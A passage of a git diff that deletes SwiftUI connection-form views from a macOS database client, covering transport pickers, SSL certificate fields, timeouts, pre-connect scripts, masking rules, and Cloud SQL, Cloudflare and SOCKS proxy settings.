Enable switch each, so the only way -/// to find out which one was on was to visit all five, and turning on a second left the connection -/// in a state `DatabaseConnection.activeTunnelKind` reports as no transport at all. One picker -/// makes that state unrepresentable. -struct NetworkPaneView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Group { - transportPicker - transportSections - if coordinator.showsSSL { - SSLSections( - databaseType: coordinator.network.type, - usesLocalSocket: coordinator.network.usesLocalSocket, - sslMode: sslModeBinding, - sslCaCertPath: $coordinator.ssl.caCertPath, - sslClientCertPath: $coordinator.ssl.clientCertPath, - sslClientKeyPath: $coordinator.ssl.clientKeyPath, - sslClientKeyPassphrase: $coordinator.ssl.clientKeyPassphrase - ) - } - } - } - - private var sslModeBinding: Binding { - Binding( - get: { coordinator.ssl.mode }, - set: { coordinator.ssl.select($0) } - ) - } - - private var transportPicker: some View { - Section { - Picker(String(localized: "Connect via"), selection: $coordinator.transport) { - ForEach(coordinator.availableTransports, id: \.self) { transport in - Text(transport?.displayName ?? ConnectionTunnelKind.directDisplayName) - .tag(transport) - } - } - .accessibilityIdentifier("connection-form-transport") - } footer: { - Text(footerSummary) - .font(.caption) - .foregroundStyle(.secondary) - } - } - - /// "On the Server" runs statements on the host rather than fetching a copy, so the footer says - /// so instead of the copy's summary, which the `.remoteFile` getter would otherwise always show. - private var footerSummary: String { - if coordinator.transport == .remoteFile, - coordinator.supportsRemoteDatabaseSession, - coordinator.ssh.state.remoteFileAccess == .onServer { - return ConnectionTunnelKind.remoteDatabaseSession.summary - } - return coordinator.transport?.summary ?? directSummary - } - - private var directSummary: String { - ConnectionTunnelKind.directSummary( - isFileBased: coordinator.network.connectionMode == .fileBased, - usesLocalSocket: coordinator.network.usesLocalSocket, - localSocketSkipsTLS: coordinator.network.localSocketSkipsTLS - ) - } - - @ViewBuilder - private var transportSections: some View { - switch coordinator.transport { - case .none: - EmptyView() - case .ssh: - SSHTransportSections(coordinator: coordinator) - case .remoteFile, .remoteDatabaseSession: - RemoteFileTransportSections(coordinator: coordinator) - case .cloudflare: - CloudflareTransportSections(coordinator: coordinator) - case .cloudSQLProxy: - CloudSQLProxyTransportSections(coordinator: coordinator) - case .socksProxy: - SOCKSProxyTransportSections(coordinator: coordinator) - case .tunnelCommand: - TunnelCommandTransportSections(coordinator: coordinator) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift deleted file mode 100644 index c97c39b866..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift +++ /dev/null @@ -1,535 +0,0 @@ -import AppKit -import SwiftUI -import TableProAutocomplete -import TableProPluginKit - -struct OptionsPaneView: View { - @ObservedObject private var aiSettings = AppSettingsManager.shared.aiSlice - @ObservedObject private var generalSettings = AppSettingsManager.shared.generalSlice - @ObservedObject private var syncSettings = AppSettingsManager.shared.syncSlice - @ObservedObject var coordinator: ConnectionFormCoordinator - - private var databaseType: DatabaseType { coordinator.network.type } - private var aiIsEnabled: Bool { aiSettings.value.enabled } - - // Nil until this connection is open as the type the form shows. - private var liveDriverRunsReadOnly: Bool? { - guard let connectionId = coordinator.connectionId, - let driver = DatabaseManager.shared.driver(for: connectionId), - driver.connection.type == databaseType - else { return nil } - return driver.runsReadOnlyStatements - } - - var body: some View { - Group { - driverSection - attachedDatabasesSection - extensionsSection - timeoutSection - binaryValuesSection - completionSection - startupSection - preConnectSection - postDisconnectSection - safetySection - MaskingRulesSection(model: coordinator.maskingRules) - if aiIsEnabled { - aiRulesSection - } - if syncSettings.value.enabled { - syncSection - } - } - } - - private var timeoutSection: some View { - Section { - LabeledContent(String(localized: "Connect timeout")) { - HStack(spacing: 4) { - TextField( - String(localized: "Connect timeout"), - value: $coordinator.customization.connectTimeoutSeconds, - format: .number.grouping(.never), - prompt: Text(verbatim: connectTimeoutPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-connect-timeout") - Text(String(localized: "seconds")) - .foregroundStyle(.secondary) - } - } - .help(connectTimeoutHelp) - - LabeledContent { - HStack(spacing: 4) { - TextField( - String(localized: "Query timeout"), - value: $coordinator.customization.queryTimeoutSeconds, - format: .number.grouping(.never), - prompt: Text(verbatim: Self.queryTimeoutPlaceholder(globalSeconds: globalQueryTimeoutSeconds)) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-query-timeout") - Text(String(localized: "seconds")) - .foregroundStyle(.secondary) - } - } label: { - Text(String(localized: "Query timeout")) - Text(verbatim: Self.queryTimeoutInheritance(globalSeconds: globalQueryTimeoutSeconds)) - } - } header: { - Text(String(localized: "Timeouts")) - } footer: { - Text( - String(localized: """ - Query timeout applies only to database drivers that support it. \ - Use 0 for no limit. Reconnect to apply changes. - """) - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var connectTimeoutPlaceholder: String { - String( - format: String(localized: "Default (%d)"), - ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds - ) - } - - private var connectTimeoutHelp: String { - String( - format: String(localized: """ - Maximum time for TCP, TLS, authentication, tunnel, and proxy setup. \ - Leave blank to use the %d-second default. - """), - ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds - ) - } - - private var globalQueryTimeoutSeconds: Int { generalSettings.value.queryTimeoutSeconds } - - // The field is 100 points wide beside a "seconds" label, so words go in the subtitle and the prompt stays short. - nonisolated static func queryTimeoutPlaceholder(globalSeconds: Int) -> String { - let seconds = ConnectionTimeoutPolicy.effectiveQueryTimeoutSeconds( - configuredSeconds: nil, - globalSeconds: globalSeconds - ) - guard seconds > 0 else { return String(localized: "No limit") } - return String(format: String(localized: "Global (%d)"), seconds) - } - - nonisolated static func queryTimeoutInheritance( - globalSeconds: Int, - locale: Locale = .autoupdatingCurrent - ) -> String { - let seconds = ConnectionTimeoutPolicy.effectiveQueryTimeoutSeconds( - configuredSeconds: nil, - globalSeconds: globalSeconds - ) - guard seconds > 0 else { - return String(localized: "Leave blank to use Settings > Connections: no limit.") - } - let duration = Duration.seconds(seconds).formatted( - .units(allowed: [.hours, .minutes, .seconds], width: .wide).locale(locale) - ) - return String(format: String(localized: "Leave blank to use Settings > Connections: %@."), duration) - } - - @ViewBuilder - private var binaryValuesSection: some View { - if PluginManager.shared.binaryLengthFunction(for: databaseType) != nil { - Section { - LabeledContent(String(localized: "Load binary values up to")) { - HStack(spacing: 4) { - TextField( - String(localized: "Load binary values up to"), - value: $coordinator.customization.binaryInlineLimitKilobytes, - format: .number.grouping(.never), - prompt: Text(verbatim: binaryInlineLimitPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-binary-inline-limit") - Text(String(localized: "KB")) - .foregroundStyle(.secondary) - } - } - } header: { - Text(String(localized: "Table Data")) - } footer: { - Text(String(localized: """ - A larger binary value stays on the server until you open, copy or export it. \ - Applies to tables with a primary key. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - private var binaryInlineLimitPlaceholder: String { - String(format: String(localized: "Default (%d)"), UnloadedValuePlan.defaultInlineByteLimit / 1_024) - } - - @ViewBuilder - private var completionSection: some View { - if databaseType.identifierRules != nil { - Section { - Picker( - String(localized: "Identifier case"), - selection: $coordinator.customization.completionIdentifierCase - ) { - ForEach(SQLIdentifierCase.allCases, id: \.self) { identifierCase in - Text(Self.title(for: identifierCase)).tag(identifierCase) - } - } - .accessibilityIdentifier("connection-form-identifier-case") - } header: { - Text(String(localized: "Autocomplete")) - } footer: { - Text(String(localized: """ - Table, column and schema names take this case in autocomplete and in Copy as INSERT \ - and UPDATE when the server reads the new spelling as the same name. Other names are \ - quoted as stored. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - private static func title(for identifierCase: SQLIdentifierCase) -> String { - switch identifierCase { - case .asStored: return String(localized: "As stored") - case .lower: return String(localized: "lowercase") - case .upper: return String(localized: "UPPERCASE") - case .matchTyped: return String(localized: "Match what I type") - } - } - - @ViewBuilder - private var driverSection: some View { - let fields = coordinator.advanced.advancedFields - if !fields.isEmpty { - Section(databaseType.displayName) { - ForEach(fields, id: \.id) { field in - if coordinator.advanced.isFieldVisible(field) { - ConnectionFieldRow( - field: field, - value: advancedFieldBinding(for: field) - ) - } - } - } - } - } - - private func advancedFieldBinding(for field: ConnectionField) -> Binding { - Binding( - get: { - coordinator.advanced.additionalFieldValues[field.id] - ?? field.defaultValue ?? "" - }, - set: { coordinator.advanced.additionalFieldValues[field.id] = $0 } - ) - } - - @ViewBuilder - private var attachedDatabasesSection: some View { - if let field = coordinator.advanced.attachedDatabaseListField { - Section { - AttachedDatabaseListEditor(value: advancedFieldBinding(for: field), databaseType: databaseType) - } header: { - Text(field.label) - } footer: { - Text("Attached each time the connection opens. Reach a table as name.table, and browse each database in the sidebar.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - @ViewBuilder - private var extensionsSection: some View { - if let field = coordinator.advanced.extensionListField { - Section { - LoadableExtensionListEditor(value: advancedFieldBinding(for: field)) - } header: { - Text(field.label) - } footer: { - Text("Loaded in this order each time the database file opens on this Mac. An extension runs with full access to your Mac, so add only files you trust.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - private var startupSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.advanced.startupCommands, style: .code) - .frame(height: 80) - .accessibilityIdentifier("connection-form-startup-commands") - } header: { - Text(String(localized: "Startup Commands")) - } footer: { - Text("SQL commands to run after connecting, e.g. SET time_zone = 'Asia/Ho_Chi_Minh'. One per line or separated by semicolons.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var preConnectSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.advanced.preConnectScript, style: .code) - .frame(height: 80) - .accessibilityIdentifier("connection-form-pre-connect-script") - LabeledContent(String(localized: "Timeout")) { - HStack(spacing: 4) { - TextField( - String(localized: "Timeout"), - value: $coordinator.advanced.scriptTimeoutSeconds, - format: .number.grouping(.never), - prompt: Text(verbatim: scriptTimeoutPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-script-timeout") - Text(String(localized: "seconds")) - .foregroundStyle(.secondary) - } - } - .help(String(localized: "How long each script may run, from 1 to 300 seconds.")) - } header: { - Text(String(localized: "Pre-Connect Script")) - } footer: { - Text(String(localized: """ - Runs in bash before connecting. A non-zero exit aborts the connection. \ - TABLEPRO_CONNECTION_NAME, TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and \ - TABLEPRO_DATABASE describe the connection. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var postDisconnectSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.advanced.postDisconnectScript, style: .code) - .frame(height: 80) - .accessibilityIdentifier("connection-form-post-disconnect-script") - } header: { - Text(String(localized: "Post-Disconnect Script")) - } footer: { - Text("Runs in bash once the session ends, only after its pre-connect script ran. A failure is logged, not shown.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var scriptTimeoutPlaceholder: String { - String(format: String(localized: "Default (%d)"), ConnectionScriptRunner.defaultTimeoutSeconds) - } - - private var safetySection: some View { - Section { - safeModeRow - Toggle(String(localized: "Manual Commit"), isOn: $coordinator.effectiveManualCommit) - .disabled(!coordinator.isManualCommitAvailable) - // MCP enforces the policy whether or not AI features are on, so it stays editable. - Picker(String(localized: "AI Policy"), selection: $coordinator.advanced.aiPolicy) { - Text(String(localized: "Use Default")) - .tag(AIConnectionPolicy?.none as AIConnectionPolicy?) - ForEach(AIConnectionPolicy.allCases) { policy in - Text(policy.displayName) - .tag(AIConnectionPolicy?.some(policy) as AIConnectionPolicy?) - } - } - if aiIsEnabled { - ForEach(coordinator.advanced.aiAlwaysAllowedTools, id: \.self) { tool in - alwaysAllowedRow(tool) - } - } - Picker(String(localized: "External Clients"), selection: $coordinator.advanced.externalAccess) { - ForEach(ExternalAccessLevel.allCases) { level in - Text(level.displayName).tag(level) - } - } - .pickerStyle(.segmented) - } header: { - Text(String(localized: "Access")) - } footer: { - accessFooter - } - } - - private func alwaysAllowedRow(_ tool: String) -> some View { - LabeledContent { - Button(String(localized: "Forget")) { - coordinator.advanced.forgetAlwaysAllowed(tool) - } - .accessibilityLabel(String(format: String(localized: "Forget %@"), tool)) - } label: { - Text(verbatim: tool) - Text(String(localized: "Always allowed")) - } - } - - @ViewBuilder - private var safeModeRow: some View { - let levels = SafeModeFloor.levels(allowedBy: coordinator.safeModeFloor) - if levels.count == 1 { - LabeledContent(String(localized: "Safe Mode"), value: coordinator.effectiveSafeModeLevel.displayName) - } else { - Picker(String(localized: "Safe Mode"), selection: $coordinator.effectiveSafeModeLevel) { - ForEach(levels) { level in - Text(level.displayName).tag(level) - } - } - } - } - - @ViewBuilder - private var accessFooter: some View { - VStack(alignment: .leading, spacing: 4) { - if let floor = coordinator.safeModeFloor { - Text(floor.explanation) - } - if coordinator.isManualCommitAvailable { - // swiftlint:disable:next line_length - Text(String(localized: "Your first change opens a transaction, and nothing is saved until you commit. Structure changes, Users & Roles, Copy To, Generate Rows and Shortcuts actions still save at once.")) - } else { - Text(ManualCommit.unavailableExplanation) - } - // swiftlint:disable:next line_length - Text(String(localized: "AI Policy applies to AI features and MCP clients. External Clients controls Raycast, Cursor, Claude Desktop, other MCP clients, AppleScript, and Shortcuts. Effective scope is the minimum of the requesting token's scope and the External Clients level.")) - if aiIsEnabled, !coordinator.advanced.aiAlwaysAllowedTools.isEmpty { - Text(String(localized: "Always Allow on an assistant tool card adds the tool here. Forget makes its next call ask again.")) - } - if coordinator.advanced.externalAccess == .readOnly { - Text( - ReadOnlyEnforcement.externalClientsNote( - for: databaseType, - liveDriverRunsReadOnly: liveDriverRunsReadOnly - ) - ) - } - } - .font(.caption) - .foregroundStyle(.secondary) - } - - private var aiRulesSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.aiRules.rules, style: .plain) - .frame(height: 120) - } header: { - Text(String(localized: "AI Rules")) - } footer: { - Text("Guidance the AI sees on every chat turn for this connection: table conventions, columns to avoid, join hints, business rules the schema doesn't show.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var syncSection: some View { - Section { - Toggle(String(localized: "Local only"), isOn: $coordinator.advanced.localOnly) - } header: { - Text(String(localized: "iCloud Sync")) - } footer: { - VStack(alignment: .leading, spacing: 4) { - Text("This connection won't sync to other devices via iCloud.") - if coordinator.removesSyncedSecretsOnSave { - Text("Saving removes its passwords from iCloud Keychain. Your other devices will need them entered again.") - } - } - .font(.caption) - .foregroundStyle(.secondary) - } - } -} - -// Columns whose values TablePro hides, for this connection, in the grid, exports, the assistant and MCP. -private struct MaskingRulesSection: View { - @ObservedObject var model: MaskingRulesPaneViewModel - - var body: some View { - Section { - ForEach(model.rules) { rule in - MaskingRuleRow(rule: rule, onChange: model.update, onRemove: { model.removeRule(id: rule.id) }) - } - Button(String(localized: "Add Rule")) { - model.addRule() - } - .accessibilityIdentifier("connection-form-add-masking-rule") - } header: { - Text(String(localized: "Masking")) - } footer: { - Text(String(localized: """ - Hides matching values in the grid, copies, exports, shared links, the AI assistant and MCP. \ - A pattern is table.column or column, with * as a wildcard, such as *.email. \ - Filters and sorts still run on the stored values, so masking does not replace database permissions. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } -} - -private struct MaskingRuleRow: View { - let rule: MaskingRule - let onChange: (MaskingRule) -> Void - let onRemove: () -> Void - - var body: some View { - HStack(spacing: 8) { - Picker(String(localized: "Match"), selection: binding(\.target)) { - ForEach(MaskingTarget.allCases) { target in - Text(target.displayName).tag(target) - } - } - .labelsHidden() - .fixedSize() - TextField( - String(localized: "Pattern"), - text: binding(\.pattern), - prompt: Text(verbatim: rule.target == .column ? "*.email" : "uuid") - ) - .labelsHidden() - .accessibilityIdentifier("connection-form-masking-pattern") - Picker(String(localized: "Mask"), selection: binding(\.style)) { - ForEach(MaskingStyle.allCases) { style in - Text(style.displayName).tag(style) - } - } - .labelsHidden() - .fixedSize() - Button(action: onRemove) { - Image(systemName: "minus.circle") - } - .buttonStyle(.borderless) - .help(String(localized: "Remove Rule")) - .accessibilityLabel(String(localized: "Remove Rule")) - } - } - - private func binding(_ keyPath: WritableKeyPath) -> Binding { - Binding( - get: { rule[keyPath: keyPath] }, - set: { newValue in - var updated = rule - updated[keyPath: keyPath] = newValue - onChange(updated) - } - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift deleted file mode 100644 index 269e46cdaa..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/SSLSections.swift +++ /dev/null @@ -1,163 +0,0 @@ -// -// SSLSections.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit -import UniformTypeIdentifiers - -/// Transport encryption, as sections of the Network tab's form. -/// -/// It sits under the transport picker because it answers the same question: how the bytes get -/// there. As its own sidebar pane it was one more destination to visit for a setting most -/// connections leave alone. -struct SSLSections: View { - let databaseType: DatabaseType - var usesLocalSocket = false - @Binding var sslMode: SSLMode - @Binding var sslCaCertPath: String - @Binding var sslClientCertPath: String - @Binding var sslClientKeyPath: String - @Binding var sslClientKeyPassphrase: String - - private var supportsPerConnectionCertPaths: Bool { databaseType.supportsPerConnectionCertificatePaths } - - private var caCertificateIsOptional: Bool { - !databaseType.requiresCACertificate(for: sslMode) - } - - private var caCertificatePrompt: String { - caCertificateIsOptional ? String(localized: "Optional") : "/path/to/ca-cert.pem" - } - - private var noOpportunisticTLSWarning: String { - if databaseType == .oracle { - return String(localized: "Preferred connects in plain TCP for this driver. Use Required to enforce TCPS.") - } - return String(localized: "This driver has no TLS fallback. Preferred forces TLS, same as Required.") - } - - var body: some View { - Group { - Section { - Picker(String(localized: "SSL Mode"), selection: $sslMode) { - ForEach(SSLMode.allCases) { mode in - Text(mode.displayLabel).tag(mode) - } - } - .accessibilityIdentifier("connection-form-ssl-mode") - if sslMode == .preferred, !databaseType.supportsOpportunisticTLS { - NoticeLabel(noOpportunisticTLSWarning, severity: databaseType == .oracle ? .error : .warning) - .font(.caption) - } - } footer: { - VStack(alignment: .leading, spacing: 6) { - if !databaseType.sslPaneTooltip.isEmpty { - Text(databaseType.sslPaneTooltip) - } - if sslMode != .disabled { - Text(sslMode.description) - } - if usesLocalSocket && sslMode == .preferred { - Text(String(localized: "Preferred leaves a socket connection unencrypted. Required encrypts it.")) - } - } - .font(.caption) - .foregroundStyle(.secondary) - } - - if sslMode != .disabled { - if !supportsPerConnectionCertPaths { - Section { - Text(String(localized: """ - Verify CA and Verify Identity check the server certificate against the system trust \ - store. This driver takes no custom CA or client certificate. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } header: { - Text(String(localized: "Certificate Trust")) - } - } else if sslMode == .verifyCa || sslMode == .verifyIdentity { - Section { - LabeledContent(String(localized: "Certificate")) { - HStack { - TextField("", text: $sslCaCertPath, prompt: Text(caCertificatePrompt)) - Button(String(localized: "Browse")) { - browseForCertificate(binding: $sslCaCertPath) - } - .controlSize(.small) - } - } - } header: { - Text(String(localized: "CA Certificate")) - } footer: { - if caCertificateIsOptional { - Text(String(localized: "Leave empty to use the system trust store.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - if supportsPerConnectionCertPaths { - Section { - LabeledContent(String(localized: "Client Certificate")) { - HStack { - TextField( - "", text: $sslClientCertPath, - prompt: Text(String(localized: "Optional"))) - Button(String(localized: "Browse")) { - browseForCertificate(binding: $sslClientCertPath) - } - .controlSize(.small) - } - } - LabeledContent(String(localized: "Client Key")) { - HStack { - TextField( - "", text: $sslClientKeyPath, - prompt: Text(String(localized: "Optional"))) - Button(String(localized: "Browse")) { - browseForCertificate(binding: $sslClientKeyPath) - } - .controlSize(.small) - } - } - if databaseType.supportsClientKeyPassphrase, - !sslClientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { - LabeledContent(String(localized: "Key Passphrase")) { - SecureField( - "", text: $sslClientKeyPassphrase, - prompt: Text(String(localized: "Required only for an encrypted key"))) - } - } - } header: { - Text(String(localized: "Client Certificates")) - } footer: { - Text(String(localized: "Required only when the server enforces mutual TLS authentication.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - } - } - - private func browseForCertificate(binding: Binding) { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - panel.allowsMultipleSelection = false - panel.canChooseDirectories = false - panel.allowedContentTypes = [.data] - panel.showsHiddenFiles = true - panel.message = String(localized: "Choose a certificate or key file") - - panel.beginSheetModal(for: window) { response in - if response == .OK, let url = panel.url { - binding.wrappedValue = url.path(percentEncoded: false) - } - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift deleted file mode 100644 index 813edeb28a..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudSQLProxyTransportSections.swift +++ /dev/null @@ -1,185 +0,0 @@ -// -// CloudSQLProxyTransportSections.swift -// TablePro -// - -import AppKit -import SwiftUI - -struct CloudSQLProxyTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - private var viewModel: CloudSQLProxyPaneViewModel { coordinator.cloudSQLProxy } - - var body: some View { - instanceSection - authenticationSection - networkSection - listenerSection - binarySection - } - - // MARK: - Sections - - private var instanceSection: some View { - Section { - TextField( - String(localized: "Instance connection name"), - text: $coordinator.cloudSQLProxy.state.instanceConnectionName, - prompt: Text(verbatim: "project:region:instance") - ) - .autocorrectionDisabled() - } header: { - Text("Cloud SQL Instance") - } footer: { - Text("Find this on the instance's overview page in the Google Cloud console.") - } - } - - @ViewBuilder - private var authenticationSection: some View { - Section { - Picker(String(localized: "Credentials"), selection: $coordinator.cloudSQLProxy.state.authMode) { - ForEach(CloudSQLProxyAuthMode.allCases) { mode in - Text(mode.displayName).tag(mode) - } - } - - switch coordinator.cloudSQLProxy.state.authMode { - case .applicationDefault: - Text("Uses this Mac's Application Default Credentials. Run `gcloud auth application-default login` first, or set GOOGLE_APPLICATION_CREDENTIALS.") - .font(.caption) - .foregroundStyle(.secondary) - case .serviceAccountKey: - serviceAccountKeyEditor - } - - Toggle( - String(localized: "Use IAM database authentication"), - isOn: $coordinator.cloudSQLProxy.state.useIAMAuth - ) - } header: { - Text("Authentication") - } footer: { - if coordinator.cloudSQLProxy.state.useIAMAuth { - Text("Set the connection's username to the IAM principal (a user email, or `name@project.iam` for a service account). The database password is not used.") - } - } - } - - private var serviceAccountKeyEditor: some View { - VStack(alignment: .leading, spacing: 4) { - Text("Service account key (JSON)") - .font(.caption) - .foregroundStyle(.secondary) - StartupCommandsEditor(text: $coordinator.cloudSQLProxy.state.serviceAccountKeyJSON, style: .code) - .frame(minHeight: 96) - Text("Stored in the macOS Keychain and written to a temporary file only while the proxy runs.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var networkSection: some View { - Section { - Toggle(String(localized: "Connect over private IP"), isOn: $coordinator.cloudSQLProxy.state.usePrivateIP) - } footer: { - Text("Use the instance's private IP address instead of its public IP.") - } - } - - @ViewBuilder - private var listenerSection: some View { - Section { - Toggle(String(localized: "Choose port automatically"), isOn: $coordinator.cloudSQLProxy.state.automaticPort) - if !coordinator.cloudSQLProxy.state.automaticPort { - TextField( - String(localized: "Local port"), - text: $coordinator.cloudSQLProxy.state.localPort, - prompt: Text(verbatim: "5432") - ) - } - } header: { - Text("Local Listener") - } footer: { - Text("Listens only on 127.0.0.1.") - } - } - - @ViewBuilder - private var binarySection: some View { - Section { - TextField( - String(localized: "Path"), - text: $coordinator.cloudSQLProxy.state.binaryPath, - prompt: Text("Automatic") - ) - HStack { - Button("Choose…") { - chooseBinary() - } - .controlSize(.small) - if !viewModel.isDownloading { - Button("Download cloud-sql-proxy") { - viewModel.downloadBinary() - } - .controlSize(.small) - } - } - - switch viewModel.downloadPhase { - case .downloading(let fraction): - downloadProgress(fraction) - case .failed(let message): - NoticeLabel(message) - .textSelection(.enabled) - case .idle: - EmptyView() - } - - if coordinator.cloudSQLProxy.state.binaryPath.isEmpty, !viewModel.isDownloading { - if let resolved = viewModel.resolvedBinaryPath { - LabeledContent(String(localized: "Detected"), value: resolved) - .foregroundStyle(.secondary) - } else if viewModel.didResolveBinary { - NoticeLabel(viewModel.binaryNotFoundMessage) - .textSelection(.enabled) - } - } - } header: { - Text(verbatim: "cloud-sql-proxy") - } - } - - private func downloadProgress(_ fraction: Double?) -> some View { - HStack(spacing: 8) { - ProgressView(value: fraction) { - Text("Downloading cloud-sql-proxy") - } currentValueLabel: { - if let fraction { - Text(fraction, format: .percent.precision(.fractionLength(0))) - } - } - .controlSize(.small) - - Button("Cancel") { - viewModel.cancelDownload() - } - .controlSize(.small) - } - } - - // MARK: - Actions - - private func chooseBinary() { - let panel = NSOpenPanel() - panel.canChooseFiles = true - panel.canChooseDirectories = false - panel.allowsMultipleSelection = false - panel.directoryURL = URL(fileURLWithPath: "/usr/local/bin") - panel.presentAsSheet(for: NSApp.keyWindow) { url in - guard let url else { return } - coordinator.cloudSQLProxy.state.binaryPath = url.path - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift deleted file mode 100644 index 1c1ed7a3b6..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/CloudflareTransportSections.swift +++ /dev/null @@ -1,130 +0,0 @@ -// -// CloudflareTransportSections.swift -// TablePro -// - -import AppKit -import SwiftUI - -struct CloudflareTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - private var viewModel: CloudflareTunnelPaneViewModel { coordinator.cloudflareTunnel } - - var body: some View { - hostnameSection - authenticationSection - listenerSection - binarySection - } - - // MARK: - Sections - - private var hostnameSection: some View { - Section(String(localized: "Access Application")) { - TextField( - String(localized: "Hostname"), - text: $coordinator.cloudflareTunnel.state.accessHostname, - prompt: Text(verbatim: "db.example.com") - ) - .autocorrectionDisabled() - } - } - - @ViewBuilder - private var authenticationSection: some View { - Section(String(localized: "Authentication")) { - Picker(String(localized: "Method"), selection: $coordinator.cloudflareTunnel.state.authMethod) { - ForEach(CloudflareAuthMethod.allCases) { method in - Text(method.displayName).tag(method) - } - } - - switch coordinator.cloudflareTunnel.state.authMethod { - case .browserSSO: - Button("Sign In with Browser…") { - viewModel.signInWithBrowser() - } - .disabled(coordinator.cloudflareTunnel.state.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty) - if let signInError = viewModel.signInError { - NoticeLabel(signInError) - .font(.caption) - } else { - Text("Signs in to Cloudflare Access once and caches the token, so connecting doesn't open a browser.") - .font(.caption) - .foregroundStyle(.secondary) - } - case .serviceToken: - SecureField(String(localized: "Client ID"), text: $coordinator.cloudflareTunnel.state.serviceTokenId) - SecureField(String(localized: "Client Secret"), text: $coordinator.cloudflareTunnel.state.serviceTokenSecret) - Text("The Access application policy must use a Service Auth rule, or Cloudflare still prompts for browser sign-in.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - @ViewBuilder - private var listenerSection: some View { - Section { - Toggle(String(localized: "Choose port automatically"), isOn: $coordinator.cloudflareTunnel.state.automaticPort) - if !coordinator.cloudflareTunnel.state.automaticPort { - TextField( - String(localized: "Local port"), - text: $coordinator.cloudflareTunnel.state.localPort, - prompt: Text(verbatim: "5432") - ) - } - Toggle(String(localized: "Expose to local network"), isOn: $coordinator.cloudflareTunnel.state.exposeToLAN) - } header: { - Text("Local Listener") - } footer: { - if coordinator.cloudflareTunnel.state.exposeToLAN { - Text("Listens on all interfaces (0.0.0.0), reachable from your local network.") - } else { - Text("Listens only on 127.0.0.1.") - } - } - } - - @ViewBuilder - private var binarySection: some View { - Section { - TextField( - String(localized: "Path"), - text: $coordinator.cloudflareTunnel.state.binaryPath, - prompt: Text("Automatic") - ) - Button("Choose…") { - chooseBinary() - } - .controlSize(.small) - - if coordinator.cloudflareTunnel.state.binaryPath.isEmpty { - if let resolved = viewModel.resolvedBinaryPath { - LabeledContent(String(localized: "Detected"), value: resolved) - .foregroundStyle(.secondary) - } else if viewModel.didResolveBinary { - NoticeLabel(viewModel.binaryNotFoundMessage) - .textSelection(.enabled) - } - } - } header: { - Text(verbatim: "cloudflared") - } - } - - // MARK: - Actions - - private func chooseBinary() { - let panel = NSOpenPanel() - panel.canChooseFiles = true - panel.canChooseDirectories = false - panel.allowsMultipleSelection = false - panel.directoryURL = URL(fileURLWithPath: "/usr/local/bin") - panel.presentAsSheet(for: NSApp.keyWindow) { url in - guard let url else { return } - coordinator.cloudflareTunnel.state.binaryPath = url.path - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift b/apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift deleted file mode 100644 index f6dd941c71..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/Transports/SOCKSProxyTransportSections.swift +++ /dev/null @@ -1,44 +0,0 @@ -// -// SOCKSProxyTransportSections.swift -// TablePro -// - -import SwiftUI - -struct SOCKSProxyTransportSections: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - serverSection - credentialsSection - } - - private var serverSection: some View { - Section(String(localized: "Proxy Server")) { - TextField( - String(localized: "Host"), - text: $coordinator.socksProxy.state.host, - prompt: Text(verbatim: "proxy.example.com") - ) - .autocorrectionDisabled() - .accessibilityIdentifier("connection-form-socks-host") - TextField( - String(localized: 